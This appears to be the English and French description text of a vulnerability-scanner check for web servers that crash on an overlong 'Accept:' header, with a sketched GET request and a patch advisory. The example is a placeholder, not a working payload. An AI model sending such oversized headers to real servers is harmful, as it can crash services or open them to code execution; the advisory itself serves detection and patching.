The remote web server seems to crash when it is issued
a too long argument to the 'Accept:' command :

Example :

		GET / HTTP/1.0
		Accept: <thousands of chars>/gif
		

This may allow an attacker to execute arbitrary code on
the remote system.

Solution : Contact your vendor for a patch.

Risk factor : High";

Le serveur web distant semble planter lorsqu'il recoit un
argument trop long pour la commande 'Accept' tel

		GET / HTTP/1.0

Ce problème peut permettre à un pirate d'executer du
code arbitraire sur la machine distante.

Solution : contactez votre vendeur pour un patch.
